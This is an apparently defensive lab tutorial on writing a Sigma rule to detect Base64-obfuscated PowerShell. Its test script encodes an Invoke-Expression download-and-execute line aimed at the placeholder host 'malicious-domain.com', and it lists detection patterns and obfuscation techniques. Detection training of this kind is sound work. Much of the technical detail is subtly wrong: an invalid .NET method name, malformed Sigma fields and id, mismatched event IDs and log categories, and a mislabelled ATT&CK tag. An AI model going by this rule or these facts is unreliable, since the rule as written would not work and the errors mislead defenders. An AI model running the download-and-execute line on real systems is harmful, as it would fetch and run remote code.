PowerShell remains the backbone of automation for many enterprise environments, yet it is also the primary vector for modern fileless malware and advanced persistent threats (APTs). Attackers frequently obfuscate malicious scripts—using base64 encoding, compression, or dynamic injection—to evade signature-based detection. Relying solely on commercial threat intelligence feeds often misses these custom techniques. This lab exercise guides you through constructing a custom Sigma rule to detect specific patterns of obfuscated PowerShell execution within your Security Information and Event Management (SIEM) system. By mastering this process, IT students and junior engineers can harden their own defensive postures, while experienced practitioners can refine their log analysis strategies for incident response.
Understanding the Threat Landscape and Detection Logic
Before writing code, it is essential to understand what constitutes an “obfuscated” command in a PowerShell context. Common techniques include wrapping commands in [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64(...)) or using the .NET classes to load assemblies dynamically. A Sigma rule detects anomalies by matching specific log patterns against known bad behaviors.
In this exercise, we will focus on a classic obfuscation pattern: Base64 encoding followed by decoding and execution. This technique is frequently used because it renders the original command invisible to static text analysis until runtime. The goal is to create a rule that triggers an alert when a PowerShell process attempts to decode Base64 data immediately before executing it, particularly if executed via IEX (Invoke-Expression) or Invoke-RestMethod.
Prerequisites and Lab Environment Setup
To safely construct and test this rule, you must operate in an authorized lab environment. Never attempt these steps on a production network without explicit approval from your security governance team, as false positives could disrupt legitimate administrative workflows.
Required Components:
* A SIEM platform capable of ingesting Windows Event Logs (e.g., Elastic Security, Splunk, Azure Sentinel, or Wazuh).
* Access to the Sigma rule format specification.
* A sample log source containing Windows Security Event IDs 4104 (PowerShell Script Block Logging) or 4103.
* A test machine with PowerShell logging enabled.
Safety Note: All commands and configurations provided here are for educational purposes in a controlled lab. Do not assume these commands will work verbatim on your specific OS version without verification, as Windows updates frequently change event schema versions.
Step 1: Analyzing the Log Data Structure
The first step in building a Sigma rule is identifying the correct fields within your SIEM’s normalized log data. For Windows PowerShell script block logging (Event ID 4104), the critical field often contains the actual command string. In many SIEMs, this might be mapped to command or message.
We need to look for strings starting with [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64(. This specific prefix indicates an attempt to decode data. If the subsequent part of the string contains .NET references or ends in a semicolon followed by a command execution indicator, it is highly suspicious.
Step 2: Constructing the Sigma Rule YAML
Sigma rules are defined using a YAML structure. Below is a template for a custom rule targeting Base64 obfuscation. Copy this into your SIEM’s rule editor or import mechanism.
title: PowerShell Obfuscated Base64 Decoding Attempt
id: 1000005
status: experimental
description: Detects PowerShell attempts to decode Base64 strings followed by execution, a common fileless malware technique.
logsource:
product: windows
service: powershell
category: process_execution
selectable_fields: command_line
fields:
- command_line
falsepositives:
- Legitimate scripts using base64 for data transport (rare in production without immediate execution)
level: high
tags:
- attack.execution
- t1132.001
- obfuscation
detection:
selection:
command_line|contains: '[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64('
command_line|startswith: 'powershell.exe'
condition: selection
Rule Breakdown:
* title and id: Provide a unique identifier for management systems.
* logsource: Specifies that we are looking at Windows PowerShell events. The selectable_fields ensures the rule only triggers if the specific command line is available (script block logging must be enabled).
* detection.selection: This is the core logic. We use a “contains” operator to look for the Base64 decoding function signature. We also ensure the process name starts with powershell.exe.
* level: high: Indicates this is a critical alert requiring immediate attention.
* tags: Helps correlate this rule with MITRE ATT&CK tactics (specifically Obfuscated Code).
Step 3: Testing the Rule in a Lab Scenario
To verify the rule works, you must generate traffic that triggers it. In your lab environment, open an elevated PowerShell window and run the following script. This simulates an attacker downloading and executing a malicious payload via Base64 decoding.
# Simulating obfuscated execution
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('Invoke-Expression "https://malicious-domain.com/payload.ps1"'))
$powershellCmd = "powershell.exe -enc $encodedCommand"
Write-Host "Running simulated command: $powershellCmd"
# Note: In a real lab, you would execute the decoded string here for testing.
# For this exercise, we assume the SIEM has captured the raw command line containing the decode attempt.
Illustrative Output:
If your SIEM is configured correctly and script block logging is active, it will capture an event where command_line contains the decoding logic. Your custom rule should fire an alert labeled “PowerShell Obfuscated Base64 Decoding Attempt.”
Step 4: Verification and Tuning
After deploying the rule, you must verify its accuracy to prevent alert fatigue. A common mistake is setting the rule too broadly, causing it to flag legitimate data transfer scripts that happen to use Base64 encoding.
Verification Steps:
1. Check False Positives: Review the last 24 hours of alerts. Are there any from trusted internal tools (e.g., migration scripts)? If so, add exclusions for specific IP addresses or user accounts to the rule’s filter section if your SIEM supports it.
2. Adjust Severity: If the noise level is too high, consider changing the level from high to medium and adding a requirement that the command line also contains sensitive keywords like “Invoke-Expression” or specific malicious URLs.
3. Version Compatibility: Ensure the rule syntax matches your SIEM’s version of the Sigma format. Older versions may require different field names (e.g., CommandLine vs command_line).
Common Errors and Fixes
- Error: Rule not triggering.
- Cause: Script block logging is disabled on the target machine.
- Fix: Enable PowerShell Script Block Logging via Group Policy or Registry (
EnableScriptBlockLogging).
- Error: High False Positive Rate.
- Cause: The rule matches standard Base64 encoding used in legitimate apps.
- Fix: Refine the detection logic to specifically look for the decoding function
FromBase64combined with immediate execution commands, rather than just any Base64 string.
- Error: Syntax Error in YAML.
- Cause: Incorrect indentation or missing quotes around strings containing special characters.
- Fix: Use a code editor like VS Code to format the YAML and validate syntax before importing.
Industry Application and Student Practice Task
For students and junior engineers, this exercise demonstrates how defensive security relies on understanding both the operating system internals and the attacker’s mindset. In an industry setting, this rule would be part of a larger “Fileless Malware Detection” playbook.
Student Practice Task:
1. Set up a virtual machine with a SIEM agent (or use a cloud-based SIEM sandbox).
2. Enable PowerShell script block logging on the VM.
3. Import the YAML rule provided above.
4. Attempt to run various obfuscation techniques (e.g., IEX New-Object, [System.Reflection.Assembly]::Load) and observe which ones trigger your custom rule versus standard commercial rules.
5. Document the differences in detection latency and false positive rates between your custom rule and a generic “PowerShell Detected” rule.
Conclusion
Constructing custom Sigma rules empowers security teams to move beyond passive reliance on vendor feeds. By detecting specific patterns of PowerShell obfuscation, you gain visibility into sophisticated attacks that attempt to hide in plain sight within the legitimate scripting environment. Always remember that detection is only half the battle; incident response procedures must be ready to act when these alerts fire. As with all security configurations, verify terms and availability with your specific SIEM documentation, as implementation details vary by vendor and jurisdiction.
Educational-use notice: This tutorial is for learning and controlled lab use only. Test carefully, use backups, and obtain authorization before making changes. Do not run unfamiliar commands on production systems. We accept no responsibility for misuse, damage, data loss, or production issues.

